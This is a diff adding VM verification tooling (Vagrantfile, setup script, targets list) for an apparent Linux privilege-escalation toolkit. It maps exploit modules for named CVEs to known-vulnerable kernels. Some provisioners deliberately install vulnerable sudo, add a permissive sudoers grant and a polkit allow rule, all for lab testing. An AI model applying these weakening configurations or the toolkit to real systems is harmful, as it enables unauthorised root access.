"log": "tools/verify-vm/logs/verify-nf_tables-20260523-174211.log"
|
||||
}
|
||||
```
|
||||
|
||||
`status: match` means detect() returned what we expected on a known-
|
||||
vulnerable kernel. Anything else (`MISMATCH`, status code != 0) means
|
||||
either:
|
||||
|
||||
- The kernel pin didn't take (check `host_kernel` against
|
||||
`kernel_version` in targets.yaml).
|
||||
- The exploit's preconditions aren't met in the default Vagrant image
|
||||
(e.g. apparmor blocks unprivileged userns; need to adjust the
|
||||
Vagrantfile provisioner).
|
||||
- The detect() logic is wrong for this kernel/distro combo (a real bug
|
||||
— fix it).
|
||||
|
||||
Records are intended to feed a per-module `verified_on[]` table (next
|
||||
project step) so `--list` can show a `✓ verified <date>` column.
|
||||
|
||||
## How it routes module → box
|
||||
|
||||
Mapping lives in `tools/verify-vm/targets.yaml`. Each entry has:
|
||||
|
||||
- `box` — which `boxes/` template (e.g. `ubuntu2204`)
|
||||
- `kernel_pkg` — apt package name to install if the stock kernel
|
||||
is patched (omit / empty if stock is already vulnerable)
|
||||
- `kernel_version` — what `uname -r` should report after install
|
||||
- `expect_detect` — `VULNERABLE` | `OK` | `PRECOND_FAIL`
|
||||
- `notes` — short rationale; comments in the file have the full context
|
||||
|
||||
Adding a new module is one block in targets.yaml. The verifier picks
|
||||
it up automatically.
|
||||
|
||||
## Files
|
||||
|
||||
```
|
||||
tools/verify-vm/
|
||||
├── README.md this file
|
||||
├── setup.sh one-time bootstrap (Vagrant, plugin, box cache)
|
||||
├── verify.sh per-module verifier
|
||||
├── Vagrantfile parameterized VM config (driven by SKK_VM_* env vars)
|
||||
├── targets.yaml module → box mapping with rationale
|
||||
└── logs/ per-verification stdout/stderr capture
|
||||
```
|
||||
|
||||
## Why Vagrant + Parallels
|
||||
|
||||
You already have Parallels Desktop. `vagrant-parallels` gives a
|
||||
scriptable per-VM config + a curated public box library + idempotent
|
||||
`vagrant up/provision/reload/suspend` lifecycle. The Vagrantfile is
|
||||
parameterized via env vars so a single file drives every target.
|
||||
|
||||
Alternative providers (Lima, Multipass) would also work; Vagrant was
|
||||
chosen for ergonomic continuity with the existing Parallels install.
|
||||
Vendored
+217
@@ -0,0 +1,217 @@
|
||||
# -*- mode: ruby -*-
|
||||
# vi: set ft=ruby :
|
||||
#
|
||||
# tools/verify-vm/Vagrantfile — parameterized verifier VM.
|
||||
#
|
||||
# Driven by env vars set by tools/verify-vm/verify.sh:
|
||||
#
|
||||
# SKK_VM_BOX generic/<box> name (e.g. generic/debian11)
|
||||
# SKK_VM_KERNEL_PKG optional apt package for the vulnerable kernel
|
||||
# (e.g. linux-image-5.13.0-19-generic). Empty = use stock.
|
||||
# SKK_VM_KERNEL_VERSION expected kernel version after install
|
||||
# SKK_VM_HOSTNAME hostname for this VM (used in vagrant box name)
|
||||
#
|
||||
# The Vagrantfile mounts the repo root at /vagrant (Vagrant default) so the
|
||||
# in-VM `make` builds against your live source — no rebuild loop.
|
||||
|
||||
require "yaml"
|
||||
|
||||
REPO_ROOT = File.expand_path("../..", __dir__)
|
||||
|
||||
box = ENV["SKK_VM_BOX"] || "generic/debian12"
|
||||
pkg = ENV["SKK_VM_KERNEL_PKG"] || ""
|
||||
mainline = ENV["SKK_VM_MAINLINE_VERSION"] || ""
|
||||
kver = ENV["SKK_VM_KERNEL_VERSION"] || ""
|
||||
host = ENV["SKK_VM_HOSTNAME"] || "skk-verify"
|
||||
|
||||
Vagrant.configure("2") do |c|
|
||||
# Define ONE Vagrant machine named after SKK_VM_HOSTNAME. Per-module
|
||||
# isolation: each module gets its own `skk-<module>` machine that
|
||||
# vagrant tracks in .vagrant/machines/skk-<module>/parallels/.
|
||||
c.vm.define host do |m|
|
||||
m.vm.box = box
|
||||
# Guest hostnames forbid underscores per RFC 952. Vagrant machine
|
||||
# names allow them (we keep skk-cgroup_release_agent so per-module
|
||||
# state stays isolated in .vagrant/machines/), but inside the VM
|
||||
# we translate to hyphens so the hostname is RFC-valid.
|
||||
m.vm.hostname = host.gsub("_", "-")
|
||||
|
||||
m.vm.synced_folder REPO_ROOT, "/vagrant",
|
||||
type: "rsync", rsync__exclude: ["build/", ".git/", "*.o", "skeletonkey-test*"]
|
||||
|
||||
m.vm.provider "parallels" do |p|
|
||||
p.memory = 2048
|
||||
p.cpus = 2
|
||||
p.name = host
|
||||
# Don't auto-update Parallels Tools: the installer fails on older
|
||||
# guest kernels (e.g. Ubuntu 20.04's 5.4.0-169 is "outdated and
|
||||
# not supported" by latest tools). We use rsync over SSH for
|
||||
# sync_folder, which doesn't need the guest tools at all.
|
||||
p.update_guest_tools = false
|
||||
p.check_guest_tools = false
|
||||
end
|
||||
|
||||
# 1. Always install build deps + sudo (needed for module verification).
|
||||
m.vm.provision "shell", inline: <<-SHELL
|
||||
set -e
|
||||
if command -v apt-get >/dev/null 2>&1; then
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get update -qq
|
||||
apt-get install -y -qq build-essential libglib2.0-dev pkg-config sudo curl ca-certificates
|
||||
elif command -v dnf >/dev/null 2>&1; then
|
||||
dnf install -y -q gcc make glib2-devel pkgconfig sudo curl
|
||||
fi
|
||||
SHELL
|
||||
|
||||
# 2a. Pin via apt if requested. Reboot needed afterward.
|
||||
if !pkg.empty?
|
||||
m.vm.provision "shell", name: "pin-kernel-#{pkg}", inline: <<-SHELL
|
||||
set -e
|
||||
if dpkg-query -W -f='${Status}' #{pkg} 2>/dev/null | grep -q 'install ok installed'; then
|
||||
echo "[=] #{pkg} already installed"
|
||||
else
|
||||
echo "[+] installing #{pkg} (kernel target #{kver})"
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get install -y -qq #{pkg}
|
||||
echo "[i] kernel #{pkg} installed"
|
||||
fi
|
||||
# Pin grub default to this specific kernel. Without it, grub
|
||||
# picks the highest-versioned kernel installed (typically a
|
||||
# stock HWE backport that's POST-fix), defeating the pin's
|
||||
# purpose. Find the kver string by stripping linux-image-
|
||||
# prefix from the pkg name.
|
||||
PINNED_KVER="$(echo '#{pkg}' | sed 's/^linux-image-//')"
|
||||
if [ -f "/boot/vmlinuz-${PINNED_KVER}" ]; then
|
||||
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${PINNED_KVER}"
|
||||
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||
update-grub 2>&1 | tail -3
|
||||
fi
|
||||
SHELL
|
||||
end
|
||||
|
||||
# 2b. Pin via kernel.ubuntu.com/mainline/ if mainline_version is set.
|
||||
# Fetches the four .debs (linux-headers _all, linux-headers _amd64
|
||||
# generic, linux-image-unsigned generic, linux-modules generic),
|
||||
# dpkg -i's them, regenerates grub, and prints a reboot hint.
|
||||
# Mainline kernel package version like "5.15.5-051505" sorts ABOVE
|
||||
# Ubuntu's stock "5.15.0-91" in debian-version-compare (numeric
|
||||
# 51505 > 91), so update-grub puts it at boot index 0 and the next
|
||||
# boot lands on it automatically.
|
||||
if !mainline.empty?
|
||||
m.vm.provision "shell", name: "pin-mainline-#{mainline}", inline: <<-SHELL
|
||||
set -e
|
||||
KVER="#{mainline}"
|
||||
# already booted into it? Still fall through to grub-pin to
|
||||
# make sure GRUB_DEFAULT stays correct even after stock kernel
|
||||
# upgrades that might reorder grub entries.
|
||||
BOOTED_INTO_TARGET=0
|
||||
if uname -r | grep -q "^${KVER}-[0-9]\\+-generic"; then
|
||||
echo "[=] mainline ${KVER} already booted ($(uname -r))"
|
||||
BOOTED_INTO_TARGET=1
|
||||
fi
|
||||
|
||||
# already installed on disk? Skip the download/install but
|
||||
# still run the grub-pin block at the end.
|
||||
SKIP_INSTALL=0
|
||||
if ls /boot/vmlinuz-${KVER}-* >/dev/null 2>&1; then
|
||||
echo "[=] mainline ${KVER} already installed on disk"
|
||||
SKIP_INSTALL=1
|
||||
fi
|
||||
|
||||
if [ "$SKIP_INSTALL" -eq 0 ]; then
|
||||
echo "[+] fetching kernel.ubuntu.com mainline v${KVER}"
|
||||
# Newer mainline kernels live under /v${KVER}/amd64/; older ones
|
||||
# (≤ ~4.15) put debs at /v${KVER}/ directly. Try /amd64/ first;
|
||||
# fall back to bare. linux-image-unsigned was renamed from
|
||||
# linux-image- around 4.18 — old kernels use the plain name.
|
||||
BASE="https://kernel.ubuntu.com/mainline/v${KVER}"
|
||||
for URL in "${BASE}/amd64/" "${BASE}/"; do
|
||||
INDEX=$(curl -sL "$URL")
|
||||
if echo "$INDEX" | grep -q '\\.deb"'; then
|
||||
break
|
||||
fi
|
||||
done
|
||||
TMP=$(mktemp -d)
|
||||
cd "$TMP"
|
||||
# Pick the 4 canonical generic-kernel .debs by pattern match against
|
||||
# the directory index. Skip lowlatency variants. Accept both
|
||||
# 'linux-image-unsigned-' (newer) and 'linux-image-' (older).
|
||||
DEBS=$(echo "$INDEX" | \\
|
||||
grep -oE 'href="[^"]+\\.deb"' | sed 's/href="//; s/"$//' | \\
|
||||
grep -E '(linux-image(-unsigned)?|linux-modules|linux-headers)-[0-9.]+-[0-9]+-generic_|linux-headers-[0-9.]+-[0-9]+_[^_]+_all\\.deb' | \\
|
||||
grep -v lowlatency)
|
||||
if [ -z "$DEBS" ]; then
|
||||
echo "[-] no .debs found at ${BASE}/ (tried /amd64/ and bare)" >&2
|
||||
exit 2
|
||||
fi
|
||||
for f in $DEBS; do
|
||||
echo "[+] $f"
|
||||
curl -fsSL -O "${URL}${f}"
|
||||
done
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
# --force-depends so packages still install even when t64-transition
|
||||
# libs (libssl3t64, libelf1t64) are missing on a pre-24.04 rootfs.
|
||||
# The kernel image + modules don't actually need those at boot —
|
||||
# the dependency is for signing/integrity checks at build time.
|
||||
dpkg -i --force-depends *.deb || apt-get install -f -y -qq || true
|
||||
fi # end SKIP_INSTALL guard
|
||||
|
||||
# Pin grub default to the just-installed mainline kernel. Without
|
||||
# this, grub's debian-version-compare picks the highest-sorting
|
||||
# vmlinuz-* as default; for downgrades (e.g. stock 4.15 → mainline
|
||||
# 4.14.70), the OLD kernel wins because 4.15 > 4.14 numerically.
|
||||
MAINLINE_VMLINUZ=$(ls /boot/vmlinuz-${KVER}-* 2>/dev/null | head -1)
|
||||
if [ -n "$MAINLINE_VMLINUZ" ]; then
|
||||
MAINLINE_KVER=$(basename "$MAINLINE_VMLINUZ" | sed 's/^vmlinuz-//')
|
||||
# The "Advanced options" submenu entry id is stable across
|
||||
# update-grub runs as "gnulinux-advanced-<UUID>>gnulinux-<kver>-advanced-<UUID>".
|
||||
# Easier: use the human menuentry path.
|
||||
GRUB_ENTRY="Advanced options for Ubuntu>Ubuntu, with Linux ${MAINLINE_KVER}"
|
||||
sed -i "s|^GRUB_DEFAULT=.*|GRUB_DEFAULT=\\"${GRUB_ENTRY}\\"|" /etc/default/grub
|
||||
echo "[+] GRUB_DEFAULT pinned to: ${GRUB_ENTRY}"
|
||||
fi
|
||||
update-grub 2>&1 | tail -3
|
||||
echo "[i] mainline ${KVER} installed; reboot via 'vagrant reload'"
|
||||
SHELL
|
||||
end
|
||||
|
||||
# 2c. Optional per-module provisioner. If
|
||||
# tools/verify-vm/provisioners/<module>.sh exists, run it as root
|
||||
# before build-and-verify. Used for things only meaningful per-module:
|
||||
# build sudo 1.9.16 from source (sudo_chwoot), drop a polkit allow
|
||||
# rule (udisks_libblockdev), add a sudoers grant (sudo_runas_neg1).
|
||||
skk_mod = ENV["SKK_MODULE"] || ""
|
||||
if !skk_mod.empty?
|
||||
prov_path = File.join(__dir__, "provisioners", "#{skk_mod}.sh")
|
||||
if File.exist?(prov_path)
|
||||
m.vm.provision "shell", name: "module-provision-#{skk_mod}",
|
||||
path: prov_path
|
||||
end
|
||||
end
|
||||
|
||||
# 3. Build SKELETONKEY in-VM and run --explain --active for the target
|
||||
# module. Runs as the unprivileged 'vagrant' user (NOT root) — most
|
||||
# detect()s gate on "are you already root?" and short-circuit if so,
|
||||
# which would invalidate every verification (pack2theroot was the
|
||||
# motivating case). 'privileged: false' is how vagrant downshifts.
|
||||
# SKK_MODULE is set by verify.sh on the second-pass `vagrant
|
||||
# provision` call (post-reboot if kernel was pinned).
|
||||
m.vm.provision "shell", name: "build-and-verify", run: "never",
|
||||
privileged: false,
|
||||
env: { "SKK_MODULE" => ENV["SKK_MODULE"] || "" },
|
||||
inline: <<-SHELL
|
||||
set -e
|
||||
cd /vagrant
|
||||
echo "[*] running as $(id)"
|
||||
echo "[*] kernel: $(uname -r)"
|
||||
echo "[*] building skeletonkey..."
|
||||
make clean >/dev/null 2>&1 || true
|
||||
make 2>&1 | tail -3
|
||||
echo
|
||||
echo "[*] running: skeletonkey --explain ${SKK_MODULE} --active"
|
||||
echo
|
||||
./skeletonkey --explain "${SKK_MODULE}" --active 2>&1 || true
|
||||
SHELL
|
||||
end
|
||||
end
|
||||
Executable
+34
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env bash
|
||||
# CVE-2025-32463 sudo --chroot NSS injection (Stratascale). Vulnerable
|
||||
# range is sudo [1.9.14, 1.9.17p0]. Ubuntu 22.04 ships 1.9.9 which
|
||||
# PREDATES the --chroot code path. Build sudo 1.9.16p1 from upstream
|
||||
# and install to /usr/local (which precedes /usr/bin in Ubuntu's default
|
||||
# PATH so plain `sudo` resolves to the vulnerable binary).
|
||||
set -e
|
||||
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get install -y -qq libpam0g-dev libssl-dev wget make gcc >/dev/null
|
||||
|
||||
cd /tmp
|
||||
TARBALL=sudo-1.9.16p1.tar.gz
|
||||
URL="https://www.sudo.ws/dist/${TARBALL}"
|
||||
|
||||
if [ -x /usr/local/bin/sudo ] && /usr/local/bin/sudo --version 2>&1 | head -1 | grep -q "1.9.16p1"; then
|
||||
echo "[=] sudo 1.9.16p1 already at /usr/local/bin/sudo"
|
||||
else
|
||||
[ -f "${TARBALL}" ] || wget -q "${URL}"
|
||||
rm -rf sudo-1.9.16p1
|
||||
tar xzf "${TARBALL}"
|
||||
cd sudo-1.9.16p1
|
||||
# --sysconfdir=/etc so it honors the existing /etc/sudoers (vagrant's
|
||||
# NOPASSWD grant). --disable-shared keeps the build self-contained.
|
||||
./configure --prefix=/usr/local --sysconfdir=/etc \
|
||||
--disable-shared --quiet >/dev/null 2>&1
|
||||
make -j"$(nproc)" >/tmp/sudo-build.log 2>&1 || { tail -40 /tmp/sudo-build.log; exit 1; }
|
||||
make install >/tmp/sudo-install.log 2>&1 || { tail -40 /tmp/sudo-install.log; exit 1; }
|
||||
fi
|
||||
|
||||
# Verify what the unprivileged user's PATH resolves to.
|
||||
echo "[+] which sudo (root): $(which sudo)"
|
||||
echo "[+] /usr/local/bin/sudo version: $(/usr/local/bin/sudo --version | head -1)"
|
||||
sudo -u vagrant bash -c 'echo "[+] vagrant PATH: $PATH"; echo "[+] vagrant sees: $(which sudo)"; sudo --version | head -1'
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
#!/usr/bin/env bash
|
||||
# CVE-2019-14287 needs a (ALL,!root) grant for find_runas_blacklist_grant()
|
||||
# to fire. Ubuntu 18.04 ships sudo 1.8.21p2 (in the vulnerable range) but
|
||||
# Vagrant's default sudoers doesn't include the grant. Add it.
|
||||
set -e
|
||||
|
||||
cat >/etc/sudoers.d/99-skk-runas-neg1 <<'EOF'
|
||||
vagrant ALL=(ALL,!root) NOPASSWD: /bin/vi
|
||||
EOF
|
||||
chmod 0440 /etc/sudoers.d/99-skk-runas-neg1
|
||||
|
||||
echo "[+] sudoers grant installed:"
|
||||
grep . /etc/sudoers.d/99-skk-runas-neg1
|
||||
echo
|
||||
echo "[+] sudo -ln -U vagrant tail:"
|
||||
sudo -ln -U vagrant 2>&1 | tail -10 || true
|
||||
+34
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env bash
|
||||
# CVE-2025-6019 udisks/libblockdev SUID-on-mount (Qualys). Debian 12's
|
||||
# cloud image is server-oriented and doesn't ship udisks2. Install it,
|
||||
# and drop a polkit rule allowing the vagrant user to invoke the
|
||||
# affected action.ids — the real-world bug-path is "active console
|
||||
# user invokes loop-setup", and we don't have a graphical session in
|
||||
# Vagrant. The polkit rule simulates the trust polkit would give a
|
||||
# logged-in workstation user.
|
||||
set -e
|
||||
|
||||
export DEBIAN_FRONTEND=noninteractive
|
||||
apt-get install -y -qq udisks2 libblockdev-utils2 >/dev/null
|
||||
|
||||
mkdir -p /etc/polkit-1/rules.d
|
||||
cat >/etc/polkit-1/rules.d/49-skk-verify.rules <<'EOF'
|
||||
polkit.addRule(function(action, subject) {
|
||||
if (subject.user == "vagrant" &&
|
||||
(action.id == "org.freedesktop.UDisks2.loop-setup" ||
|
||||
action.id == "org.freedesktop.UDisks2.filesystem-mount" ||
|
||||
action.id == "org.freedesktop.UDisks2.filesystem-mount-other-seat" ||
|
||||
action.id == "org.freedesktop.UDisks2.modify-device")) {
|
||||
return polkit.Result.YES;
|
||||
}
|
||||
});
|
||||
EOF
|
||||
|
||||
systemctl enable udisks2.service >/dev/null 2>&1 || true
|
||||
systemctl restart udisks2.service
|
||||
sleep 2
|
||||
|
||||
echo "[+] udisks2 status:"
|
||||
systemctl is-active udisks2.service
|
||||
echo "[+] udisks2 version: $(dpkg-query -W -f='${Version}' udisks2)"
|
||||
echo "[+] libblockdev version: $(dpkg-query -W -f='${Version}' libblockdev-utils2)"
|
||||
Executable
+96
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env bash
|
||||
# tools/verify-vm/setup.sh — one-shot bootstrap for SKELETONKEY VM verification.
|
||||
#
|
||||
# What this does (idempotent — re-runs are safe):
|
||||
# 1. Verifies Parallels Desktop is installed (you said you wanted to keep it).
|
||||
# 2. Installs Vagrant via Homebrew if missing.
|
||||
# 3. Installs the vagrant-parallels plugin if missing.
|
||||
# 4. Pre-downloads a curated set of base boxes so first-use of `verify.sh`
|
||||
# doesn't hit a ~5 GB download.
|
||||
#
|
||||
# Cached boxes (~5-6 GB total on disk):
|
||||
# - generic/ubuntu1804 (4.15.0 stock; covers CVE-2016/2017/2019)
|
||||
# - generic/ubuntu2004 (5.4.0; covers CVE-2020/2021/2022 partial)
|
||||
# - generic/ubuntu2204 (5.15.0; covers CVE-2023/2024)
|
||||
# - generic/debian11 (5.10.0; covers CVE-2021/2022)
|
||||
# - generic/debian12 (6.1.0; covers CVE-2024-2026)
|
||||
#
|
||||
# Disk savings: skip the boxes you don't need by passing them on the cmdline,
|
||||
# e.g. `setup.sh ubuntu2004 debian11` only fetches those two.
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
PARALLELS_APP=/Applications/Parallels\ Desktop.app
|
||||
DEFAULT_BOXES=(generic/ubuntu1804 generic/ubuntu2004 generic/ubuntu2204
|
||||
generic/debian11 generic/debian12)
|
||||
|
||||
# Allow per-box override on the cmdline.
|
||||
if [[ $# -gt 0 ]]; then
|
||||
BOXES=()
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
ubuntu1804|ubuntu2004|ubuntu2204|debian11|debian12)
|
||||
BOXES+=("generic/$arg") ;;
|
||||
generic/*) BOXES+=("$arg") ;;
|
||||
*) echo "[-] unknown box: $arg (expected ubuntu1804|2004|2204|debian11|12)" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
else
|
||||
BOXES=("${DEFAULT_BOXES[@]}")
|
||||
fi
|
||||
|
||||
echo "[*] SKELETONKEY VM verification — bootstrap"
|
||||
echo
|
||||
|
||||
# 1. Parallels Desktop check
|
||||
if [[ ! -d "$PARALLELS_APP" ]]; then
|
||||
echo "[-] Parallels Desktop not found at $PARALLELS_APP" >&2
|
||||
echo " Install it first: https://www.parallels.com/products/desktop/" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "[+] Parallels Desktop: present"
|
||||
|
||||
# 2. Vagrant
|
||||
if ! command -v vagrant >/dev/null 2>&1; then
|
||||
if ! command -v brew >/dev/null 2>&1; then
|
||||
echo "[-] Homebrew not found; install from https://brew.sh first" >&2
|
||||
exit 1
|
||||
fi
|
||||
echo "[*] installing vagrant via brew..."
|
||||
brew install --cask vagrant
|
||||
fi
|
||||
echo "[+] vagrant: $(vagrant --version)"
|
||||
|
||||
# 3. vagrant-parallels plugin
|
||||
if ! vagrant plugin list 2>/dev/null | grep -q vagrant-parallels; then
|
||||
echo "[*] installing vagrant-parallels plugin..."
|
||||
vagrant plugin install vagrant-parallels
|
||||
fi
|
||||
echo "[+] vagrant-parallels: $(vagrant plugin list | grep vagrant-parallels)"
|
||||
|
||||
# 3.5. (verify.sh parses targets.yaml with awk — no Python deps required)
|
||||
|
||||
# 4. Pre-download boxes (each ~700 MB to ~1.5 GB)
|
||||
echo
|
||||
echo "[*] pre-downloading ${#BOXES[@]} base box(es)..."
|
||||
for box in "${BOXES[@]}"; do
|
||||
if vagrant box list 2>/dev/null | grep -q "^$box "; then
|
||||
echo "[=] $box already cached (skip)"
|
||||
else
|
||||
echo "[+] fetching $box..."
|
||||
vagrant box add "$box" --provider=parallels --no-tty
|
||||
fi
|
||||
done
|
||||
|
||||
echo
|
||||
echo "[+] verification environment ready."
|
||||
echo
|
||||
echo "Next:"
|
||||
echo " ./tools/verify-vm/verify.sh <module>"
|
||||
echo
|
||||
echo "Try:"
|
||||
echo " ./tools/verify-vm/verify.sh nf_tables"
|
||||
echo " ./tools/verify-vm/verify.sh dirty_pipe --keep # don't destroy VM after"
|
||||
echo
|
||||
echo "List the curated targets:"
|
||||
echo " cat ./tools/verify-vm/targets.yaml"
|
||||
@@ -0,0 +1,286 @@
|
||||
# tools/verify-vm/targets.yaml — VM verification targets per module
|
||||
#
|
||||
# For each module, the (box, kernel) pair the verifier should spin up to
|
||||
# empirically confirm detect() + exploit() against a KNOWN-VULNERABLE
|
||||
# kernel. Picked from Debian snapshot / kernel.ubuntu.com / Ubuntu HWE
|
||||
# archives — every version below is fetch-able as a .deb package.
|
||||
#
|
||||
# Schema:
|
||||
# <module_name>:
|
||||
# box: vagrant box name (matches tools/verify-vm/boxes/<NAME>/)
|
||||
# kernel_pkg: apt package name to install for the vulnerable kernel
|
||||
# (omit / empty if the stock distro kernel is already vulnerable)
|
||||
# kernel_version: expected /proc/version-style major.minor.patch
|
||||
# expect_detect: what skeletonkey --explain should say on a confirmed-vulnerable
|
||||
# target. One of: VULNERABLE | OK | PRECOND_FAIL.
|
||||
# notes: short rationale for the target choice.
|
||||
#
|
||||
# Boxes available (matches tools/verify-vm/boxes/):
|
||||
# debian11 — Debian 11 bullseye (5.10.0 stock)
|
||||
# debian12 — Debian 12 bookworm (6.1.0 stock)
|
||||
# ubuntu1804 — Ubuntu 18.04 LTS (4.15.0 stock; HWE up to 5.4)
|
||||
# ubuntu2004 — Ubuntu 20.04 LTS (5.4.0 stock; HWE up to 5.15)
|
||||
# ubuntu2204 — Ubuntu 22.04 LTS (5.15.0 stock; HWE up to 6.5)
|
||||
#
|
||||
# Adding a new target: pick the oldest LTS box whose stock or HWE kernel
|
||||
# is below the module's kernel_range fix threshold; if no LTS works,
|
||||
# install a pinned kernel from kernel.ubuntu.com / snapshot.debian.org
|
||||
# via the kernel_pkg field.
|
||||
#
|
||||
# Modules where no fully-automatic vulnerable target exists (need manual
|
||||
# kernel build or a special distro variant) are marked manual: true with
|
||||
# a comment explaining the constraint.
|
||||
|
||||
af_packet:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # stock 4.15.0-213-generic — patch backported
|
||||
kernel_version: "4.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2017-7308; bug fixed mainline 4.10.6 + 4.9.18 backports. Ubuntu 18.04 stock kernel (4.15.0) is post-fix — detect() correctly returns OK. To validate the VULNERABLE path empirically would need a hand-built 4.4 or earlier kernel; deferred."
|
||||
|
||||
af_packet2:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: linux-image-5.4.0-26-generic
|
||||
kernel_version: "5.4.0-26"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2020-14386; fixed in 5.9 mainline + backports; 5.4.0-26 (Ubuntu 20.04 launch) is pre-fix."
|
||||
|
||||
af_unix_gc:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5" # kernel.ubuntu.com/mainline/v5.15.5/ — below 5.15.130 backport
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-4622; fix mainline 6.5 + backports 5.15.130/6.1.51/etc. Mainline 5.15.5 (Nov 2021) predates all backports and any silent distro patching. Installed via kernel.ubuntu.com/mainline/v5.15.5/."
|
||||
|
||||
cgroup_release_agent:
|
||||
box: debian11
|
||||
kernel_pkg: "" # 5.10.0 stock is pre-fix (fix 5.17)
|
||||
kernel_version: "5.10.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2022-0492; fix landed 5.17 mainline + 5.16.9 stable; 5.10.0 is below."
|
||||
|
||||
cls_route4:
|
||||
box: ubuntu2004
|
||||
kernel_pkg: linux-image-5.15.0-43-generic
|
||||
kernel_version: "5.15.0-43"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2022-2588; fix landed 5.19 / backports 5.10.143 / 5.15.67; 5.15.0-43 is below."
|
||||
|
||||
dirty_cow:
|
||||
box: ubuntu1804
|
||||
kernel_pkg: "" # 4.15.0 has the COW race fix; need older kernel
|
||||
kernel_version: "4.4.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2016-5195; ALL 4.4+ kernels have the fix backported. Ubuntu 18.04 stock will report OK (patched); to actually verify exploit() needs Ubuntu 14.04 / kernel ≤ 4.4.0-46. Use a custom box for that."
|
||||
manual_for_exploit_verify: true
|
||||
|
||||
dirty_pipe:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: "" # 22.04 stock 5.15.0-91-generic
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2022-0847; introduced 5.8, fixed 5.16.11 / 5.15.25. Ubuntu 22.04 ships 5.15.0-91-generic, where uname reports '5.15.0' (below the 5.15.25 backport per our version-only table) but Ubuntu has silently backported the fix into the -91 patch level. Version-only detect() would say VULNERABLE; --active probe confirms the primitive is blocked → OK. This target validates the active-probe path correctly overruling a false-positive version verdict. (Originally pointed at Ubuntu 20.04 + pinned 5.13.0-19, but that HWE kernel is no longer in 20.04's apt archive.)"
|
||||
|
||||
dirtydecrypt:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "6.19.7" # below the 6.19.13 backport → genuinely vulnerable
|
||||
kernel_version: "6.19.7"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2026-31635; rxgk RESPONSE oversized auth_len. Per NVD: bug entered at 6.16.1, vulnerable through 6.18.22 / 6.19.12 / 7.0-rc7; fixed at 6.18.23 / 6.19.13 / 7.0 stable. Mainline 6.19.7 is below the .13 backport → genuinely VULNERABLE. (Earlier module code wrongly gated 'predates' on 7.0; fixed in this commit by gating on 6.16.1 + adding 6.18.23 to the backport table.)"
|
||||
|
||||
entrybleed:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: "" # any KPTI-enabled x86_64 kernel
|
||||
kernel_version: "5.15.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2023-0458; side-channel applies to any KPTI-on Intel x86_64 host. Stock Ubuntu 22.04 will report VULNERABLE if meltdown sysfs shows 'Mitigation: PTI'."
|
||||
|
||||
fragnesia:
|
||||
box: ""
|
||||
kernel_pkg: ""
|
||||
kernel_version: ""
|
||||
expect_detect: ""
|
||||
manual: true
|
||||
notes: "CVE-2026-46300; XFRM ESP-in-TCP bug. Fix lands at 7.0.9. Verifying VULNERABLE needs a pre-fix 7.0.x kernel. Mainline 7.0.5 was tried via Ubuntu 22.04 + kernel.ubuntu.com — fails because the 7.0.5 kernel .debs depend on the t64-transition libs (libssl3t64, libelf1t64) which only exist on Ubuntu 24.04+ / Debian 13+. No Vagrant box with Parallels provider has those libs yet. dpkg --force-depends leaves the kernel image in iHR (broken) state with no /boot/vmlinuz deposited. Resolution: wait for a Parallels-supported ubuntu2404 / debian13 box, or build one locally."
|
||||
|
||||
fuse_legacy:
|
||||
box: debian11
|
||||
kernel_pkg: "" # 5.10.0 is pre-fix (fix 5.16)
|
||||
kernel_version: "5.10.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2022-0185; fix 5.16.2 mainline + 5.10.93 stable; Debian 11 stock 5.10.0 is below."
|
||||
|
||||
netfilter_xtcompat:
|
||||
box: debian11
|
||||
kernel_pkg: "" # 5.10.0 (Debian 11 stock) is pre-fix (fix 5.13 + 5.10.46)
|
||||
kernel_version: "5.10.0"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2021-22555; 15-year-old bug; Debian 11 stock 5.10.0 below the 5.10.38 fix backport."
|
||||
|
||||
nf_tables:
|
||||
box: ubuntu2204
|
||||
kernel_pkg: ""
|
||||
mainline_version: "5.15.5"
|
||||
kernel_version: "5.15.5"
|
||||
expect_detect: VULNERABLE
|
||||
notes: "CVE-2024-1086; bug introduced 5.14; fix mainline 6.8 + 5.15.149/6.1.74 backports. Mainline 5.15.5 (Nov 2021) is well below 5.15.149 — empirically vulnerable. Installed via kernel.ubuntu.com/mainline/v5.15.5/."
|
||||
|
||||
nft_fwd_dup:
|
||||
box: debian11
|
||||
kernel_pkg: "" # 5.10.0 below the 5.10.103 backport
|
||||
kernel_version: "5.10.0"
|
||||
expect_detect: VULNERABLE
|
||||
